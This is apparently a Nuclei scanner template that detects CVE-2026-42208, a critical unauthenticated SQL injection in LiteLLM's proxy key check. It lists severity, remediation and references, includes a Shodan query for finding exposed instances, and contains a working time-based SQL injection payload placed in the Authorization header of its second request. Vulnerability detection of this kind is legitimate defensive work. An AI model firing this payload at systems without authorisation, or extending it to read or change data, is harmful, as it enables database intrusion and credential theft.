id: CVE-2026-42208

info:
  name: LiteLLM - SQL Injection
  author: HAERIN-L
  severity: critical
  description: |
    LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.
  impact: |
    Unauthenticated attackers can read and modify proxy database, leading to unauthorized access and credential compromise.
  remediation: |
    Upgrade to version 1.83.7 or later.
  reference:
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc
    - https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42208
    epss-score: 0.93107
    epss-percentile: 0.99819
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: BerriAI
    product: LiteLLM
    shodan-query: http.title:"LiteLLM"
  tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer invalid_token_baseline_test

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(6)) IS NOT NULL --

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'duration >= 6'
        condition: and
# digest: 4a0a00473045022100d27b78dce162907656299526ef268afe82238d8f12f9c6727ce883613dca5c95022076b23a74fd2e8cad3946ea8172c41c4eb840423a9b4d24a2b40be3096cc04207:922c64590222798bb761d5b6d8e72950